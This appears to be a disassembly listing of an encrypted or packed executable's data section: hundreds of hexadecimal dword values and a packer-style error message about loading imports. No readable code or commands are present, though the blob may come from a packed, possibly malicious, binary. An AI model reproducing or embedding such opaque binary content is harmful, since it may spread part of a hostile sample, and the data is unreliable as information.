0C1412E8Bh, 3EE04623h, 42C89BB2h dd 0D53E0D41h, 91C95AC2h, 0D5A203E9h, 0E9AE2FDEh, 127h dd 73765B50h, 154EEFACh, 0 aAnErrorHasOcur db 'An Error has ocurred while loading imports',0 db 37h dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h dd 777E600h, 5 dup(0) dd 0FD000000h, 77E7A5h, 2Bh dup(0) dd 2000000h, 48000000h, 0F4C706E1h, 0CF63921Dh, 0C78F96A6h dd 11341662h, 35B11C13h, 4231365Fh, 722B6166h, 0A9F29E35h dd 88321177h, 5EAF90EFh, 0BFBF1365h, 1737A0D9h, 0D069C699h dd 670BA8E5h, 56321365h, 0A9614571h, 88321177h, 5EAF90EFh dd 0BFBF1365h, 1737A7C8h, 0D069C699h, 0F9B1D5EDh, 243BF9B8h dd 1B61A66h, 5321566h, 4DFA36E3h, 0AFE2EA60h, 18FA46E3h dd 4EE2EA60h, 4729B4E3h, 705A4360h, 0EEAEBDDEh, 8B1664D3h dd 1CB79860h, 0DD34131Ah, 84B79CB6h, 5341661h, 4DDFBBE3h dd 0A7BF4560h, 173BF9E9h, 0F9A7EA36h, 8334166Fh, 2125ECE3h dd 11321560h, 29B7D366h, 134167Dh, 505B7C0Eh, 0F087EAE8h dd 5341664h, 470AF5E3h, 0ABE2EA60h, 121434E3h, 29B7D360h dd 734167Dh, 45594B0Eh, 0F087EAFAh, 5341664h, 470AF5E3h dd 0ABE2EA60h, 18DED3E3h, 29B7D360h, 1034167Dh, 405A3C0Eh dd 0F087EA88h, 5341664h, 470AF5E3h, 0ABE2EA60h, 18DEDFE3h dd 29B7D360h, 134167Dh, 420AD70Eh, 0F087EABCh, 5341664h dd 470AF5E3h, 0ABE2EA60h, 18DEDBE3h, 18F9660h, 4434167Bh dd 22779069h, 94F41566h, 8E310EC7h, 3AB47D23h, 97CDEF46h dd 17311787h, 0B0D290EBh, 94CD1365h, 0CEE090EFh, 94F4136Fh dd 8E310EC7h, 94F17D2Ah, 97CDF540h, 17311787h, 0B0D290EBh dd 94CD1365h, 0CEE490EFh, 51DB136Fh, 4E321566h, 4729B4E3h dd 2F5A4760h, 0EE8E5F82h, 8B2DB8D3h, 0A4B79860h, 0DD34165Eh dd 0C3B79CB6h, 4E341C8Ah, 4729B4E3h, 6A5A4760h, 0EE94592Ch dd 8B2DB8D3h, 0A4B79860h, 0DD34165Eh, 0C7B79CB6h, 4E341C8Ah dd 4729B4E3h, 0C85A4760h, 0EECF57D2h, 8B30F4D3h, 0A4B79860h dd 0DD34165Eh, 4CB79CB6h, 4E34167Ah, 4729B4E3h, 815A6260h dd 0EEC182CEh, 8B0334D3h, 0A4B79860h, 0DD34165Eh, 7CB79CB6h dd 4E341646h, 4729B4E3h, 355A4760h, 0EEB8C857h, 8B30F4D3h dd 0A4B79860h, 0DD34165Eh, 84B79CB6h, 4E34164Ch, 4729B4E3h dd 1B5A4360h, 0EEE60A0Bh, 8B1664D3h, 1CB79860h, 0DD34131Ah dd 4B79CB6h, 4E341642h, 4729B4E3h, 585A5260h, 0EEB3C976h dd 8B30F4D3h, 0A4B79860h, 0DD34165Eh, 28B79CB6h, 4E34167Ah dd 4729B4E3h, 0C05A5260h, 0EEB81AD3h, 8B30F4D3h, 0A4B79860h dd 0DD34165Eh, 0E7B79CB6h, 0B341C8Ah, 47379CDBh, 0A63D1560h dd 11321337h, 939390A0h, 2C7E1365h, 0FBE8098Fh, 13D3A099h dd 0DBF1365h, 42312D86h, 0A7BBC599h, 173BF984h, 939390A0h dd 2C7E1365h, 0FF46CBA8h, 13D3A099h, 0DBF1365h, 42312D86h dd 0A7BBC599h, 173BF980h, 939390A0h, 2C7E1365h, 95B39759h dd 13D3A099h, 0DBF1365h, 42312D86h, 0A7BBC599h, 173BF98Ch dd 939390A0h, 2C7E1365h, 911D557Eh, 13D3A099h, 0DBF1365h dd 42312D86h, 0A7BBC599h, 173BF98Ch, 939390A0h, 2C741365h dd 98EC1372h, 13D3A099h, 0DBF1365h, 42312D86h, 0A7BBC599h dd 173BF994h, 939390A0h, 2C751365h, 0A3EE051Ch, 13D3A099h dd 0DBF1365h, 42312D86h, 0A7BBC599h, 173BF99Ch, 939390A0h dd 2C751365h, 0CDB59BCAh, 13D3A099h, 0DBF1365h, 42312D86h dd 0A7BBC599h, 173BF998h, 939390A0h, 2C751365h, 0F6A8B2B4h dd 13D3A099h, 0DBF1365h, 42312D86h, 0A7BBC599h, 173BF864h dd 939390A0h, 2C751365h, 98F32C62h, 13D3A099h, 0DBF1365h dd 42312D86h, 0A7BBC599h, 173BF860h, 9113A8E5h, 31321365h dd 83B7D346h, 5634167Dh, 0FA1F720Eh, 0A587EA86h, 0AF341664h dd 120AF5E3h, 1E2EA60h, 4DDF1FE3h, 83B7D360h, 5634167Dh dd 0A181A40Eh, 0A587EAE8h, 0AF341664h, 120AF5E3h, 1E2EA60h dd 4DDF1BE3h, 83B7D360h, 5234167Dh, 0FE78B20Eh, 0A587EAA6h dd 0AF341664h, 120AF5E3h, 1E2EA60h, 4DDF07E3h, 83B7D360h dd 5D34167Dh, 0EE5EFE0Eh, 6587EA9Dh, 0AF341657h, 120AF5E3h dd 1E2EA60h, 4DDFB3E3h, 83B7D360h, 5534167Dh, 0FBBC400Eh dd 0A587EADDh, 0AF341664h, 120AF5E3h, 1E2EA60h, 4DDF03E3h dd 83B7D360h, 5234167Dh, 65CE90Eh, 0A587EADAh, 0AF341664h dd 120AF5E3h, 1E2EA60h, 4DDF0FE3h, 83B7D360h, 4234167Dh dd 980CBF0Eh, 0A587EAA0h, 0AF341664h, 120AF5E3h, 1E2EA60h dd 4DDF0BE3h, 0D38F9660h, 1134164Ah, 88D29169h, 0C1F41566h dd 24310EC7h, 0DF037D20h, 3DCDEFF0h, 42311787h, 1AD290EBh dd 0C1CD1365h, 654890EFh, 0C1F4136Fh, 24310EC7h, 2BE47D20h dd 3DCDE9C1h, 42311787h, 1AD290EBh, 0C1CD1365h, 65B890EFh dd 0C1F4136Fh, 24310EC7h, 0B5327D20h, 3DCD879Ah, 42311787h dd 1AD290EBh, 0C1CD1365h, 65BC90EFh, 0C1F4136Fh, 24310EC7h dd 5E587D20h, 3DCDE3B2h, 42311787h, 1AD290EBh, 0C1CD1365h dd 65A090EFh, 0C1F4136Fh, 24310EC7h, 41D57D20h, 3DCD81ABh dd 42311787h, 1AD290EBh, 0C1CD1365h, 654C90EFh, 0C1F4136Fh dd 24310EC7h, 65097D20h, 3DCDA444h, 42311787h, 1AD290EBh dd 0C1CD1365h, 65B090EFh, 0C1F4136Fh, 24310EC7h, 0FBDF7D20h dd 3DCDCA1Fh, 42311787h, 1AD290EBh, 0C1CD1365h, 65B490EFh dd 0F9B1136Fh, 24310C47h, 0D7126066h, 8B29B4E3h, 1A5A4660h dd 0DDFCAB86h, 1230F4D3h, 68B79860h, 0BB34165Eh, 0B79CB6h dd 0D7341C8Bh, 8B29B4E3h, 0C35A5260h, 0DDF5A438h, 1230F4D3h dd 68B79860h, 0BB34165Eh, 4B79CB6h, 92341C8Bh, 8B2B34DBh dd 64471560h, 399390A0h, 79751365h, 6E506B63h, 46D3A099h dd 0A7BF1365h, 17312D86h, 0DBBC599h, 423BF84Ch, 399390A0h dd 79711365h, 1A481C90h, 46D3A099h, 0A7BF1365h, 17312D86h dd 0DBBC599h, 423BF848h, 399390A0h, 79711365h, 74138246h dd 46D3A099h, 0A7BF1365h, 17312D86h, 0DBBC599h, 423BF854h dd 3B13A8E5h, 64321365h, 29B7D326h, 734167Dh, 229A160Eh dd 0F087EAEDh, 5341664h, 470AF5E3h, 0ABE2EA60h, 18DF2FE3h dd 29B7D360h, 734167Dh, 7904C00Eh, 0F087EA83h, 5341664h dd 470AF5E3h, 0ABE2EA60h, 18DF23E3h, 29B7D360h, 734167Dh dd 8800F40Eh, 0F087EA8Ch, 5341664h, 470AF5E3h, 0ABE2EA60h dd 18DF2BE3h, 29B7D360h, 734167Dh, 0D39E220Eh, 0F087EAE2h dd 5341664h, 470AF5E3h, 0ABE2EA60h, 18DF57E3h, 29B7D360h dd 0B34167Dh, 17A2C10Eh, 0F087EAF1h, 5341664h, 470AF5E3h dd 0ABE2EA60h, 18DF53E3h, 29B7D360h, 0B34167Dh, 4C3C170Eh dd 0F087EA9Fh, 5341664h, 470AF5E3h, 0ABE2EA60h, 18DF5FE3h dd 29B7D360h, 934167Dh, 154B5C0Eh, 0F087EAAEh, 5341664h dd 470AF5E3h, 0ABE2EA60h, 18DF47E3h, 29B7D360h, 934167Dh dd 0D57F9C0Eh, 0F087EABAh, 5341664h, 470AF5E3h, 0ABE2EA60h dd 18DF5BE3h, 29B7D360h, 1134167Dh, 391F220Eh, 0F087EAFAh dd 5341664h, 470AF5E3h, 0ABE2EA60h, 18DF43E3h, 29B7D360h dd 734167Dh, 0F7C23F0Eh, 0F087EAB4h, 5341664h, 470AF5E3h dd 0ABE2EA60h, 18DF4FE3h, 29B7D360h, 1634167Dh, 6086FF0Eh dd 0F087EA9Bh, 5341664h, 470AF5E3h, 0ABE2EA60h, 122E48E3h dd 29B7D360h, 334167Dh, 0BA6B8C0Eh, 0F087EA84h, 5341664h dd 470AF5E3h, 0ABE2EA60h, 18DF4BE3h, 29B7D360h, 334167Dh dd 0DF52D70Eh, 0F087EAD7h, 5341664h, 470AF5E3h, 0ABE2EA60h dd 18DF77E3h, 29B7D360h, 334167Dh, 84CC010Eh, 0F087EAB9h dd 5341664h, 470AF5E3h dd 0ABE2EA60h, 18DF73E3h, 29B7D360h, 1B34167Dh, 72C07D0Eh dd 0F087EAF8h, 5341664h, 470AF5E3h, 0ABE2EA60h, 18DF7FE3h dd 29B7D360h, 0B34167Dh, 0DE492A0Eh, 0F087EAA1h, 5341664h dd 470AF5E3h, 0ABE2EA60h, 18DF83E3h, 29B7D360h, 334167Dh dd 795C590Eh, 0F087EA9Ch, 5341664h, 470AF5E3h, 0ABE2EA60h dd 18DF8FE3h, 29B7D360h, 334167Dh, 2416D80Eh, 0F087EAA5h dd 5341664h, 470AF5E3h, 0ABE2EA60h, 18DF8BE3h, 29B7D360h dd 1B34167Dh, 9952D90Eh, 0F087EAB2h, 5341664h, 470AF5E3h dd 0ABE2EA60h, 18DF7BE3h, 29B7D360h, 1B34167Dh, 0CB665B0Eh dd 0F087EAF8h, 5341664h, 470AF5E3h, 0ABE2EA60h, 18DF67E3h dd 29B7D360h, 1B34167Dh, 311A5D0Eh, 0F087EAB7h, 5341664h dd 470AF5E3h, 0ABE2EA60h, 18DF63E3h, 0E0367F60h, 44320566h dd 2222150Eh, 0EE327F66h, 8B3580F3h, 0F1B79C60h, 0AF34164Ch dd 188006E3h, 0E2E2EA60h, 54327D62h, 225A1566h, 7B321546h dd 1DA7EA66h, 0CD341661h, 211EC4E3h, 44B79C60h, 0E234166Dh dd 54327D26h, 225A1566h, 7B321466h, 1DA7EA66h, 0CD341661h dd 211840E3h, 1C879E60h, 3341678h, 4737A8FBh, 63879C60h dd 98341672h, 8B3A20FBh, 0F9AF9E60h, 0A9341663h, 11CB966Dh dd 82ED9169h, 15621566h, 0ABF22606h, 1230A8E3h, 880EAB60h dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h dd 9FBB0D18h, 173134EBh, 0D3DEAE3h, 4432156Ch, 22231B8Eh dd 11A3FC66h, 3631566h, 40E07EB1h, 2F2380EFh, 15581365h dd 8822150Eh, 44584766h, 25A78099h, 94BB1365h, 8E3134C7h dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 0F18F9EB1h, 0A134164Ch dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 8B30A8E3h dd 0F9A79E60h, 1B341664h, 121398F3h, 82B61A60h, 1E321566h dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 24312463h dd 11321566h, 0A43790A1h, 44321365h, 9FB11566h, 173BF9B8h dd 80B61A66h, 0C9321566h, 2B7E5BFBh, 0EEE1EA60h, 8B34A8E3h dd 0F98F9660h, 46341660h, 11509769h, 0DF51566h, 423113DBh dd 22321567h, 0A7879806h, 5341C8Bh, 4E3834DBh, 0A9CC3E60h dd 0A48F9EB1h, 0B34164Ch, 8401EAAFh, 0E30013ECh, 96369E20h dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 961F905Fh dd 0C03D1365h, 22321571h, 3F8FA8E5h, 87321365h, 44321FE3h dd 0DBB7D266h, 10341671h, 0E9321566h, 8D76BBDFh, 0E172AF66h dd 989F7830h, 8B2654D3h, 0B874D260h, 22321566h, 0FFDCFB5Bh dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h dd 44321560h, 26F49666h, 573A0EFh, 71DB1365h, 0CF32156Eh dd 0DBB726BEh, 0D0341671h, 4A1916AEh, 7722D5A7h, 0DBAF9CA7h dd 2C341671h, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 8B2654D3h dd 0F9AF9E60h, 0A9341663h, 71E29E6Dh, 0D19D7EDh, 4231155Bh dd 2130F5A7h, 123650E3h, 8B9F8360h, 60769CA7h, 5EDB747Ah dd 40321566h, 3FB2634h, 4713B4F3h, 2D302E60h, 11322DE2h dd 8CF09666h, 0C9BF2E27h, 2D341647h, 0EECDFDE3h, 13879899h dd 0C9341C8Ah, 2132A0DBh, 0D1B6B960h, 88349169h, 0AD981566h dd 0DDCDEA97h, 113215DEh, 0E1BF9866h, 0BB34162Bh, 9FBF9C87h dd 4B341664h, 15B9433Fh, 423110DBh, 0A7B91EEDh, 173117DBh dd 0D31F5B7h, 4231081Fh, 44A4E355h, 13D2D4CBh, 8C779065h dd 0E9A41365h, 0A16CD465h, 121738DBh, 0C3D1460h, 4432155Fh dd 20D3985Dh, 953D1365h, 8832154Bh, 7513985Dh, 0A63D1365h dd 11321547h, 97AF985Dh, 0C03D1365h, 22321573h, 10CB88EBh dd 5BCD136Ch, 0C1BBEDEDh, 24311B2Bh, 1134A18Fh, 71AF9866h dd 0BB341F67h, 0F8F96B5h, 11341643h, 882F9169h, 0C1091566h dd 24310DA7h, 113E9169h, 0D091566h, 42313C83h, 22379069h dd 0A8DB1566h, 0B3CDEA99h, 471434E3h, 3AB71A60h, 92321566h dd 8B2F9CDBh, 0C13D1560h, 2232156Dh, 0A36790EBh, 1DDB136Fh dd 7FCDEA99h, 211434E3h, 98B61A60h, 0BCDEA99h, 4DDE82DBh dd 0A73D1460h, 11321571h, 64C4905Dh, 0C13D136Fh, 2232156Dh dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 0AB8F9699h, 11341663h dd 8B559169h, 0C1091566h, 243BF984h, 94B91213h, 8E31023Bh dd 0AEB72E21h, 57341C8Ah, 0E0B79E61h, 0CF34166Dh, 0A8D4905Dh dd 2547136Fh, 4EF90EDh, 0B3751365h, 4DDEFBE3h, 0A9356060h dd 121454E3h, 0D095260h, 423BF994h, 0A7B91213h, 1731151Fh dd 7EB72E21h, 31341C8Ah, 3B79E61h, 5634164Fh, 64C8905Dh dd 4347136Fh, 6E790EDh, 2A751365h, 81DEEBE3h, 0CF356060h dd 2137C0E3h, 94095260h, 8E3BF864h, 0C1B91213h, 2431342Bh dd 17B72E21h, 0FD341C8Bh, 71B79E61h, 65341670h, 0FC3C905Dh dd 8F47136Fh, 52CB90EDh, 19751365h, 18DF1FE3h, 0B226060h dd 472B34DBh, 25471560h, 83390EDh, 0B751365h, 471DB0DBh dd 2D461560h, 0FCA4905Dh, 8F47136Fh, 6A2790EDh, 0A1751365h dd 121EE4DBh, 0FA461560h, 5F4FA8E5h, 56321365h, 6BB72E0Fh dd 0FD341C8Bh, 39B79E61h, 6534167Fh, 0FCB8905Dh, 8F47136Fh dd 5CB790EDh, 19751365h, 18DF6BE3h, 3356060h, 471B50E3h dd 0A7095260h, 173BF8E8h, 0DB91213h, 423119ABh, 0B0B72E21h dd 64341C8Bh, 55B79E61h, 3341648h, 0CFB0905Dh, 1647136Fh dd 0AA7390EDh, 7F751365h, 2BDF93E3h, 9A356060h, 8B3B18E3h dd 0F9B15260h, 24310E1Bh, 1BB61A66h, 0B3321564h, 4DDF07E3h dd 0A9356060h, 122B40E3h, 0D095260h, 423BF8C0h, 0A7B91213h dd 1731196Bh, 9EB72E21h, 31341C8Bh, 4FB79E61h, 5634167Eh dd 6528905Dh, 4347136Fh, 2A1790EDh, 2A751365h, 81DF0BE3h dd 0CF356060h, 2118C4E3h, 94095260h, 8E3BF844h, 0F9B10513h dd 24310C47h, 9A356066h, 8B3938E3h, 0C1095260h, 243BF840h dd 94B91213h, 8E313B93h, 6EB72E21h, 57341C8Bh, 308F9676h dd 8834167Fh, 0C1B91213h, 243130B3h, 3FB72E21h, 0FD341C8Bh dd 0F1B79E61h, 65341660h, 0FC00905Dh, 8F47136Fh, 6EBB90EDh dd 19751365h, 18DF2FE3h, 0B226060h, 472B34DBh, 25471560h dd 0DD390EDh, 0B3751365h, 4DDF23E3h, 0A1226060h, 122B34DBh dd 8F471560h, 662790EDh, 19751365h, 18DF2BE3h, 3356060h dd 471D8CE3h, 0A7095260h, 173BF824h, 0DB91213h, 4231165Fh dd 64B72E21h, 64341C8Bh, 0B9B79E61h, 3341675h, 0CF78905Dh dd 1647136Fh, 919390EDh, 7F751365h, 2BDF5BE3h, 9A356060h dd 8B1EC8E3h, 0C1095260h, 243BF834h, 94B91213h, 8E310343h dd 12B72E21h, 57341C8Bh, 0ECB79E61h, 0CF34164Ah, 0A968905Dh dd 2547136Fh, 3B0790EDh, 0B3751365h, 472E48E3h, 0A9356060h dd 1218FCE3h, 0D095260h, 423BF838h, 0A7B91213h, 17311DBBh dd 12B72E21h, 31341C8Bh, 808F967Fh, 11341C8Bh, 35B11C13h dd 4231304Bh, 0A9356166h, 122FF4E3h, 0D095260h, 423BF8F8h dd 9FB10C13h, 173BF8C4h, 0B3B6066h, 471738DBh, 25461560h dd 13CF90EDh, 0B3751365h, 4DDF77E3h, 0A9356060h, 1224D4E3h dd 0D095260h, 423BF800h dd 0A7B91213h, 17311A0Bh, 0E2B72E21h, 31341C8Bh, 0FBB79E61h dd 56341669h, 655C905Dh, 4347136Fh, 3C5790EDh, 2A751365h dd 81DF67E3h, 0CF356060h, 21346CE3h, 94095260h, 8E3BF810h dd 0C1B91213h, 24310C33h, 1ECD1E21h, 883210E2h, 0BFD8FC66h dd 0A709EA99h, 1731350Bh, 88399069h, 0C1BF1566h, 243BB165h dd 0EEC9C68Fh, 1DB72E99h, 4B34164Ch, 22320DE3h, 868F9666h dd 89341C8Ah, 44399069h, 0A7BF1566h, 116AF345h, 77C9BA8Fh dd 96B72E99h, 2D341C8Ah, 113219E2h, 5EB72E66h, 4B341C8Ah dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h dd 11321523h, 64F4905Dh, 0C13D136Fh, 2232156Dh, 73D690EBh dd 0E5DB153Eh, 7FCDEA9Dh, 2BDEDFE3h, 1AB71A60h, 5321566h dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8E3BF9A8h, 44399069h dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 121D5CD3h dd 31879C60h, 0C434166Dh, 0A73DFC58h, 11321540h, 8B336BEDh dd 0C5EC9E98h, 227215A5h, 588F2E66h, 87341649h, 44321DE4h dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h, 243139B7h dd 0C4390A1h, 88321365h, 0CD521566h, 2139ACD3h, 0CBAF9860h dd 77341F61h, 66B01AB5h, 0AF321566h, 194804FBh, 87E1EA60h dd 0BBCDCBE5h, 9B879E99h, 9834166Dh, 8B2F64D3h, 0B2AF9860h dd 0DD341C2Dh, 58B79EB5h, 1341649h, 4739ACE3h, 0BFBF7460h dd 17381125h, 15BFC699h, 4238124Dh, 0A13DC699h, 1132156Ah dd 838B90E5h, 0AD371365h, 0DDCDEAB8h, 166688EBh, 5BCD136Ch dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h, 423A6F77h dd 0A13DC699h, 1132156Dh, 838BA0EDh, 0C4DB1365h, 0A9321561h dd 1239ACEBh, 31879C60h, 6F34166Dh, 9EBE2A8h, 0F896E697h dd 77CDEAF0h, 87C88EBh, 0F1CD136Fh, 9419D2EDh, 8E3139B7h dd 40E390EFh, 0A7B91365h, 173139B7h, 5BF4531h, 423B59A5h dd 0A7B9C499h, 17313F33h, 0DB94236h, 423139B7h, 0D0BF9836h dd 0EE341C2Ah, 3E29EB7h, 11BF3EAEh, 0A134164Ch, 123AD8DBh dd 0C3D1560h, 4432154Dh, 2D6B90EDh, 94191365h, 8E311DABh dd 0C23DD45Dh, 22321571h, 3CBB90EDh, 0D311365h, 42311DABh dd 2C7F90EFh, 52DB1365h, 0D9321566h, 497AD4EDh, 22321A99h dd 48B79C26h, 89341669h, 473A64E3h, 0EFB7D260h, 1134166Eh dd 0E2321566h, 54327D26h, 48631566h, 84A7EA66h, 77341661h dd 47145CF3h, 0ABB79C60h, 9834164Bh, 8B3C58E3h, 0F1CD4C60h dd 24311B2Bh, 3B67A099h, 77651365h, 471EC4D3h, 0A6B79860h dd 0EE341C37h, 45BF14B6h, 0CF34166Eh, 213C58DBh, 44879E60h dd 7B34164Ch, 5879EC2h, 8F341672h, 11CE53A1h, 49321566h dd 0EA3710A6h, 2132DC22h, 122128E3h, 0C5BF9E60h, 0CD341668h dd 64F5B86Eh, 1132159Ah, 0C9879C66h, 0C7341672h, 0A73DEA9Eh dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h, 113213A1h dd 4EB11566h, 5879C62h, 0CB341672h, 0EECDE380h, 8B31D5A7h dd 472128E3h, 438F9660h, 10341670h, 88AF9169h, 7AB31566h dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h, 22321566h dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 71FA8E5h, 1E331365h dd 88322BE2h, 4532AD66h, 9FB11566h, 173BF9B8h, 80B61A66h dd 0C9321566h, 2B66D0FBh, 91E1EA60h, 0C3D8559h, 4432156Eh dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h, 88A2A566h dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h dd 81DECBDBh, 0C03D1560h, 2232156Eh, 45A788EBh, 5BCD136Fh dd 0CF3652EEh, 213C58E3h, 92F53E60h, 2599118Eh, 44CE53A1h dd 0CB321566h, 0EECDEA77h, 9C73A0EFh, 2C601365h, 22329566h dd 0A4CD150Ch, 8E3134C7h, 60278099h, 0A9681365h, 1237A8EBh dd 8833D260h, 0C7321566h, 0AFBB11A7h, 173110DBh, 77C7058Fh dd 4296FC99h, 0A9521566h, 1237A8EBh, 13B9E60h, 4DDECFEBh dd 6C0A9460h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h dd 113205E3h, 0BC29E66h, 0C1B913A0h, 24310ACBh, 1133138Fh dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh, 0C3D385Ah dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 0F9879866h dd 0A9341643h, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 243130DBh, 0A1790EDh dd 48B71365h, 44289069h, 0A7F41566h, 17310EC7h, 2FE07D21h dd 0F1CDC1FCh, 24313117h, 6D6A90EBh, 58CD1360h, 0C1E2EA34h dd 1AB71AA6h, 9A321566h, 8B1058E3h, 4BF29060h, 22320FE3h dd 0B0B7D366h, 0C434167Dh, 9E2EFC0Eh, 5387EABFh, 9C341642h dd 8E4E4DE3h, 16E2EA60h, 0E2B7C599h, 11379069h, 0A9DB1566h dd 0CD321566h, 2BDECFE3h, 9C644560h, 8EA75FE3h, 4FE2EA60h dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh, 0A952D607h dd 18DECFEBh, 49B94560h, 0CF0E5565h, 22329DF6h, 44A79C66h dd 8D341656h, 4432159Eh, 0AB3E45EDh, 121110F3h, 0CCB94D60h dd 85193142h, 137905Dh, 933D1365h, 88321576h, 7467905Dh dd 0A13D1365h, 11321562h, 8836D707h, 6036D207h, 22321566h dd 151651A1h, 88321566h, 443210DEh, 4BBF9866h, 0EE34162Bh dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah, 88321524h dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h, 0C03DFE5Ah dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h, 0EAC99667h dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h, 0A89ED555h dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h, 113230E2h dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h, 0C1F5D638h dd 243BF8CCh, 11321560h, 6BB20BECh, 0C4C99596h, 0DDD19069h dd 9A7CEA99h, 8B1D5CE3h, 35A79E60h, 0A934167Bh, 17F196B8h dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh dd 298BA0EFh, 4A6D1365h, 4CB14B3Fh, 0BE52FC62h, 0A7F5EA99h dd 173BF8CCh, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h, 8832EA87h dd 0CFEB3E66h, 211D5CE3h, 60A79E60h, 0B34167Bh, 470310DBh dd 0A63D1460h, 113215C5h, 0A3DCD5Dh, 443215FDh, 0A03DCF5Dh dd 0EECDEA27h, 88329B8Fh, 0EEB7D266h, 20341C8Bh, 9A321566h dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 42313A2Fh dd 3F4380EDh, 0ACB11365h, 8E312463h, 0CB61A67h, 19321566h dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h dd 8B2A568h, 85381A87h dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 4739ACD3h, 27B7D260h dd 10341657h, 0B321566h, 1D6911A2h, 0A136D1E5h, 66DB11A2h dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h dd 40F69638h, 0DDCBD28Fh, 0BBB7D299h, 8D341C8Bh, 0CF321566h dd 26F196B8h, 94B90B65h, 8E313A2Fh, 594380EDh, 0A17C1365h dd 121E10DBh, 0C3D1460h, 44321465h, 0A03DCD5Dh, 1132156Eh dd 0E3DCF5Dh, 4432154Dh, 298BA0EFh, 8CB91365h, 8E3BF8CCh dd 48164967h, 2232CB8Fh, 94F54A66h, 8E313963h, 44321567h dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 470310DBh, 0A63D1460h dd 113215DDh, 0A77B884Dh, 0C9B91365h, 243139B7h, 0DE19DE65h dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h dd 0C1F5EA99h, 243BF8CCh, 11321564h, 3E3DCBEDh, 0C4CB9568h dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h dd 1132EA87h, 3EB3E66h, 471D5CE3h, 53A79E60h, 0F834167Bh dd 77CDEA20h, 0A99890A1h, 2230136Fh, 0CFB91566h, 83CA369h dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h dd 0DDD394BFh, 3A321566h, 0C1B79EBFh, 0CF341649h, 212F64F3h dd 148F9660h, 89341657h, 0BAFB9169h, 0FA09EA99h, 113A9769h dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h, 0C9B1CA4Dh dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h, 113255E2h dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h, 1EDB1566h dd 31321566h, 44321560h, 